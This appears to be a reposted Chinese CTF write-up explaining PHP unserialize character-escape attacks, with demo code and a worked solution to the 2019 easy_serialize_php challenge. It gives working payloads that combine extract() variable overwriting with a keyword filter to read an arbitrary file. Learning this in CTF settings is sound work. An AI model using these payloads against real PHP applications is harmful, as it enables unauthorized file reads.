php反序列化-字符逃逸看这一篇就够了

反序列化的特性

<?php
/*
$_SESSION["user"] = 'guest';
$_SESSION['function'] = 'highlight_file';
$_SESSION['img'] = base64_encode('/d0g3_fllllllag'); //d0g3_f1ag.php
$serialize_info = serialize($_SESSION);

echo $serialize_info;*/

$str = 'a:3:{s:4:"user";s:5:"guest";s:8:"function";s:14:"highlight_file";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}';
print_r (unserialize($str));

这是应该正常的反序列化代码,没有添加任何字符
image.png
但是我们可以往 }符号 外面尝试再加入一些字符
image.png
可以发现,添加了asfd后,反序列化依旧正常执行。只要 } 符号外面的字符,反序列化对象的时候都会忽略掉。

字符逃逸

缩短逃逸

初入了解

实例代码

<?php
function filter($string){
    $filter = '/p/i';
    return preg_replace($filter,'',$string);
}
$username = 'ppppppppppppp';
$age = $_GET['age']; // c";i:1;s:2:"20";}

$age = '10';  // 原本的值
extract($_GET); //变量覆盖

$user = array($username, $age);
var_dump(serialize($user));
echo "<pre>";
$r = filter(serialize($user));
var_dump($r);
var_dump(unserialize($r));
?>

我们知道代码存在过滤,本来的p替换为空
image.png
在php反序列化中,比如这个数组找不到对应13个字符的值,它会往后寻找。然后读取进去
image.png
这里我们通过变量覆盖,对age变量进行传参,可以发现反序列化正常的执行成功了

c";i:1;s:2:"20";}

我们想修改的age的值也成功修改,这也就是代表我们逃逸成功了
image.png
反序列化将会从这里开始读取字符串
image.png
可以看见刚好为13个字符

";i:1;s:17:"c

进阶测试

实例代码

<?php
function filter($string){
    $filter = '/p/i';
    return preg_replace($filter,'',$string);
}

$usernmae = $_GET['username'];
$password = $_GET['password']; // c";i:1;s:2:"20";}
$username = 'admin';
$password = '123456';  // 原本的值
extract($_GET); //变量覆盖

$user = array($username, $password);
var_dump(serialize($user));
echo "<pre>";
$r = filter(serialize($user));
var_dump($r);
var_dump(unserialize($r));
?>

image.png
在这里,我们的目标仅仅是通过变量覆盖,然后来修改password的值
payload构造如下:

?username=pppppppppppp&password=";i:1;s:6:"654321";}

可以发现被修改成654321,成功的进行了字符逃逸 image.png
p替换为空之后,说明了可以逃逸的字符为12个字符,最后通过 ";闭合让反序列化正常执行,最后}符号除掉了我们不想要的字符。
image.png

增长逃逸

其实了解了缩短逃逸的原理,会发现增长逃逸也差不多,甚至更加简单

实例代码

<?php
function filter($string){
    $filter = '/p/i';
    return preg_replace($filter,'aa',$string);
}

$usernmae = $_GET['username'];
$password = $_GET['password']; // c";i:1;s:2:"20";}
$username = 'admin';
$password = '123456';  // 原本的值
extract($_GET); //变量覆盖

$user = array($username, $password);
var_dump(serialize($user));
echo "<pre>";
$r = filter(serialize($user));
var_dump($r);
var_dump(unserialize($r));
?>

原理

image.png
在这里,我们的目的同样是修改123456这个值
image.png
过滤函数将我们反序列化后的字符串20个p就会替换为40个a
image.png

但是我们可以看见数组所读取的字符串是20个字符,这个时候我们只需要在溢出的字符p输入相对应的长度的payload,就可以进行修改了。比如这个payload长度就是20

";i:1;s:6:"654321";}

我们将payload放入长度相等的过滤p字符后面

?username=pppppppppppppppppppp";i:1;s:6:"654321";}

可以看见反序列化成功,password的值也成功修改了
image.png

案例

[安洵杯 2019]easy_serialize_php

进入主页点击这个
image.png
然后就出现了以下源代码

<?php

$function = @$_GET['f'];

function filter($img){
    $filter_arr = array('php','flag','php5','php4','fl1g');
    $filter = '/'.implode('|',$filter_arr).'/i';
    return preg_replace($filter,'',$img);
}


if($_SESSION){
    unset($_SESSION);
}

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

extract($_POST);

if(!$function){
    echo '<a href="index.php?f=highlight_file">source_code</a>';
}

if(!$_GET['img_path']){
    $_SESSION['img'] = base64_encode('guest_img.png');
}else{
    $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

$serialize_info = filter(serialize($_SESSION));

if($function == 'highlight_file'){
    highlight_file('index.php');
}else if($function == 'phpinfo'){
    eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
    $userinfo = unserialize($serialize_info);
    echo file_get_contents(base64_decode($userinfo['img']));
}

代码分析

通过分析代码可以看见f是一个传参变量,当它等于phpinfo时,根据题目所说会有flag的提示
image.png
image.png
这里我们构造传参

?f=phpinfo

在这里可以发现flag的提示文件
image.png
为什么使用auto_append_file 查找呢?因为它是一个包含文件的选项。其中当f传参变量等于show_image时将会读取文件,所以知道是文件读取才能找到flag
image.png
可以发现读取flag,必须要经过反序列化,这里反序列化还有过滤函数会替换关键字为空
image.png

怎么构造序列化?

首先我们找到一些的可控变量,当img_path传参不存在的时候,将会使用img进行传参,所以这里默认存在img可以进行传参
image.png
由于function默认的传参不是我们想要的show_image,如果默认不管的话将会扰乱我们读取文件
初始构造脚本,

<?php
function filter($img){
    $filter_arr = array('php','flag','php5','php4','fl1g');
    $filter = '/'.implode('|',$filter_arr).'/i';
    return preg_replace($filter,'',$img);
}

$_SESSION["user"] = 'guest';
$_SESSION['function'] = 'highlight_file';
$_SESSION['img'] = base64_encode('d0g3_f1ag.php'); //读取的文件


$serialize_info = filter(serialize($_SESSION));

var_dump (serialize($_SESSION));
echo "<br><br><br>";
echo $serialize_info."<br><br><br>";
var_dump (unserialize($serialize_info));

正常情况下,代码应该是这样子走的。我们可以发现这个字符串阻止了我们的文件读取
image.png
这个时候就需要用到了php反序列化-字符逃逸的缩短逃逸,因为代码存在替换函数,将会导致字符的缺失。

";s:8:"function";s:14:

将这个字符串进行读取,将会截断后面没用的内容
image.png

缩短逃逸-构造payload

这里使用恶意的字符串故意让替换函数替换为空,刚好22个字符

phpphpphpphpphpphpflag

可以看见读取字符串之后,反序列化失败,是因为该数组还没有闭合
image.png
现在我们来构造function传参的值
运行以下代码

<?php
function filter($img){
    $filter_arr = array('php','flag','php5','php4','fl1g');
    $filter = '/'.implode('|',$filter_arr).'/i';
    return preg_replace($filter,'',$img);
}

$_SESSION["user"] = 'phpphpphpphpphpphpflag';
$_SESSION['function'] = ';s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"aa";s:1:"c";}highlight_file';
$_SESSION['img'] = base64_encode('d0g3_f1ag.php');


$serialize_info = filter(serialize($_SESSION));

var_dump (serialize($_SESSION));
echo "<br><br><br>";
echo $serialize_info."<br><br><br>";
var_dump (unserialize($serialize_info));

可以看见反序列化执行成功,字符串成功逃逸
image.png
解释一下这个传参:

$_SESSION['function'] = ';s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"aa";s:1:"c";}highlight_file';
  • s:2:“aa”;s:1:“c”; 是一个数组,因为数组一共有三个,所以我们自己构造了一个函数
  • ";s:8:“function”;s:71: 是反序列化读取的字符串,后面直接截断了,我们想要的字符串
  • 利用这个符号 } 阶段了没必要的字符串

由于代码中存在变量覆盖
image.png
这里我们使用POST请求传参
payload:

/index.php?f=show_image
_SESSION[user]=phpphpphpphpphpphpflag&_SESSION[function]=;s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"hh";s:1:"a";}

image.png
查看源代码,可以发现有个一flag的提示文件
image.png
将这个字符串,进行base64加密即可,然后替换原来的base64文件
image.png

;s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";s:2:"aa";s:1:"c";}

最后可以看见成功读取到了flag了
image.png

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/439522.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

TikTok播放量低?快来学习提高TikTok账号权重?

许多TikTok账号运营者都会遇到一个难题&#xff0c;那就是视频要么播放量很低&#xff0c;要么0播放&#xff01;不管内容做的多好&#xff0c;最好都是竹篮打水一场空&#xff01;其实你可能忽略了一个问题&#xff0c;那就是账号权重。下面好好跟大家讲讲这个东西&#xff01…

Dynamo小试牛刀(二)——曲线补充

上次写的比较匆忙&#xff0c;只是整理了几个小的例子&#xff0c;并没有过多的说明&#xff0c;这次稍微补充一点&#xff0c;一步步带着你做。 首先需要了解 Math 系列的节点用法&#xff0c;有&#xff1a; Math.sin/cos——正弦 / 余弦 Math.RadiansToDegrees——将弧度转换…

总结Redis的原理

一、为什么要使用Redis 缓解数据库访问压力mysql读请求进行磁盘I/O速度慢&#xff0c;给数据库加Redis缓存&#xff08;参考CPU缓存&#xff09;&#xff0c;将数据缓存在内存中&#xff0c;省略了I/O操作 二、Redis数据管理 2.1 redis数据的删除 定时删除惰性删除内存淘汰…

第四篇【传奇开心果系列】Python的自动化办公库技术点案例示例:深度解读Pandas生物信息学领域应用

传奇开心果博文系列 系列博文目录Python的自动化办公库技术点案例示例系列 博文目录前言一、Pandas生物学数据操作应用介绍二、数据加载与清洗示例代码三、数据分析与统计示例代码四、数据可视化示例代码五、基因组数据分析示例代码六、蛋白质数据分析示例代码七、生物医学图像…

记一次edu证书站的挖洞经历

前言 前几天在网上冲浪的时候无意间看到了一个Edu的站点&#xff0c;是一个很常见的类似MOOC的那种在线学习系统&#xff0c;对外开放&#xff0c;同时有注册和登录功能。对于我这种常年低危的菜鸡来说&#xff0c;这是最愿意看到的&#xff0c;因为一个Web网站有了登录功能&a…

基于Redis自增实现全局ID生成器(详解)

本博客为个人学习笔记&#xff0c;学习网站与详细见&#xff1a;黑马程序员Redis入门到实战 P48 - P49 目录 全局ID生成器介绍 基于Redis自增实现全局ID 实现代码 全局ID生成器介绍 背景介绍 当用户在抢购商品时&#xff0c;就会生成订单并保存到数据库的某一张表中&#…

基于sprinbgoot的火锅店管理系统(程序+数据库+文档)

** &#x1f345;点赞收藏关注 → 私信领取本源代码、数据库&#x1f345; 本人在Java毕业设计领域有多年的经验&#xff0c;陆续会更新更多优质的Java实战项目&#xff0c;希望你能有所收获&#xff0c;少走一些弯路。&#x1f345;关注我不迷路&#x1f345;** 一、研究背景…

模块自动导入

看的短视频&#xff0c;自己试了下&#xff0c;发现挺好用的&#xff1a;模块自动导入【渡一教育】_哔哩哔哩_bilibili 1. 安装插件 npm i unplugin-auto-import 2. 在vite配置文件&#xff08;vite.config.ts&#xff09;中进行配置&#xff0c; 配置完场后&#xff0c;需要重…

QT和OPENGL安装和集成

1.QT安装 1.1官网下载&#xff1a; 网址&#xff1a;https://download.qt.io/archive/qt/ 1.2 开始安装 点击运行 首先注册sign up 然后Login in 选择安装目录 改为D盘&#xff1a; 选择安装项&#xff1a; 准备安装 开始安装&#xff1a; 安装完成&#xff1a; 1.3测试 …

知行之桥EDI系统数据库进阶功能——动态更新

在知行之桥EDI系统中常用的数据库端口包括&#xff1a;MySQL端口、SQLServer端口以及SQLite端口。本文将为大家介绍数据库端口的进阶功能&#xff0c;通过简单配置实现数据库的动态更新。 实现SQLServer的动态更新 创建一个SQLServer端口&#xff0c;在 设置 选项卡下创建连接…

Python数据分析库之pandera使用详解

概要 在数据科学和数据分析中,数据的质量至关重要。不良的数据质量可能导致不准确的分析和决策。为了确保数据的质量,Python Pandera 库应运而生。本文将深入介绍 Python Pandera,这是一个用于数据验证和清洗的库,并提供丰富的示例代码,帮助大家充分利用它来提高数据质量…

北斗卫星引领智能油气管线革新

北斗卫星引领智能油气管线革新 现代化的油气管线系统已成为国家经济发展的重要基础设施&#xff0c;而北斗卫星则为这些管线注入了新的活力。北斗卫星作为中国自主研发的卫星导航定位系统&#xff0c;其准确度和稳定性在全球范围内享有盛誉。在智能化时代的背景下&#xff0c;…

B 站画质补完计划:视频超分让像素细腻生动

目前, 超分算法已成功投入线上点播业务,并已支持了大量视频的高分辨率视频流生产。未来,我们将持续在覆盖范围、主观效果和部署灵活度等方面进行算法的迭代更新,以在直播、点播、应用端等多个场景为视频画质提供更大的增益。 1 前言 为了给用户提供更清晰的画质体验,B站自…

Tablesgenerator 使用

1.在线工具网站 Create LaTeX tables online – TablesGenerator.com 2.按住 shift 选择边框 3.选择标题和双栏布局 4.保存和加载表格 5.默认风格与三线表 Default table style使用 \hline 而 Booktabs 使用 \toprule、\midrule和\bottomrule。 \toprule、\midrule和 \botto…

echarts x轴名称过长tip显示全称

xAxis的axisLabel的内容如下&#xff1a; axisLabel: { rotate: -45, color: document.body.className.indexOf(custom-f4c46d) > -1 ? #fff : #343434, // 显示省略号操作&#xff08;第一步&#xff09; formatter: function (value) { var val if (value.length >…

【网络层】IP多播技术的相关基本概念(湖科大慕课自学笔记)

IP多播 1&#xff1a;IP多播技术的相关基本概念 我们简单举例&#xff0c;如下图所示&#xff1a; 一共有60个主机要接受来自视频服务器的同一个节目&#xff0c;如果采用单播方式&#xff0c;则视频服务器要发送60份&#xff0c;这些视频节目通过路由器的转发&#xff0c;最…

windows10下powershell中如何在后台执行python程序

背景 在windows10本地执行时间较长的程序时&#xff0c;很容易忘记&#xff0c;随手关掉编译器&#xff0c;程序就此中断&#xff0c;造成精神伤害。 功能介绍 如果不管不挂起&#xff0c;不管日志重定向&#xff0c;我要运行的python脚本的命令很简单 python CUTE_pipelin…

在人工智能领域,如何平衡技术进步和人类安全?

人工智能&#xff08;AI&#xff09;技术的迅速发展为人类社会带来了许多潜在益处&#xff0c;但同时也引发了一系列安全和伦理挑战。在这个领域&#xff0c;如何平衡技术进步与人类安全成为了至关重要的议题。本文将探讨在人工智能领域中平衡技术进步与人类安全的方法&#xf…

世界的尽头是sql注入漏洞

sql注入漏洞大家都了解吧&#xff1f;但是人类也会有类似sql注入型的漏洞存在&#xff01; sql注入本质是数据内容被当做命令执行。 举个简单的例子&#xff1a; 某国面临全国性战争&#xff0c;发起全国性的捐款捐物&#xff0c;基本流程是&#xff1a; 居民填写自愿捐助单由军…

混合专家系统(MoE)概述

MoE概述 神经网络的学习能力受限于它的参数规模&#xff0c;因此寻找更有效的方法来增加模型的参数已成为深度学习研究的趋势。混合专家系统 (MoE) 可以大幅增加模型参数规模且不会等比例地增加模型计算量&#xff0c;对于单个样本&#xff0c;神经网络只有某些部分被激活。在混…